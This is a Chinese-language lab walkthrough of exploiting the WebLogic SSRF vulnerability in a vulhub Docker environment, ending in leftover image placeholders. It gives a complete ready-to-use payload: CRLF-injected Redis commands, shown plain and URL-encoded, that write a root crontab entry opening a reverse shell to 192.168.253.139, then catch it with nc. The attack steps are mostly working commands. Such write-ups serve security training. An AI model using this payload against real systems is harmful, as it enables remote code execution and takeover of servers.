Weblogic SSRF漏洞
一.环境搭建
app Weblogic
path weblogic/ssrf
cd vulhub/weblogic/ssrf
docker-compose up -d
二.SSRF漏洞测试
1.SSRF漏洞存在于
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp`
2.burp抓包,点击Search进行抓包
①访问端口不开放则会显示 not connect over
②访问指定开放端口则返回带有404内容的提示
3.判断redis服务器
①docker exec -it 23e908eaeb17 /bin/bash
进入容器查看 IP IP为172.21.0.2
docker ps 查看docker的ID 通过6379来判断是redis服务器的端口号
(docker环境的网段一般是172.*)
②探测redis服务器,发现172.21.0.2:6379可以连通
三.注入HTTP头,利用Redis反弹shell
1.发送三条redis命令,将弹shell脚本写入/etc/crontab
evil处改成反弹shell到kali的IP地址192.168.253.139
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.253.139/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
2.进行url编码
http://172.21.0.2:6379/aaa%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20’sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.253.139%2F21%200%3E%261’%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
4.将修改好的url编码放到operator中,nc
反弹成功,如图
JGg-1693874884437)]
[外链图片转存中…(img-VLCle0IL-1693874884437)]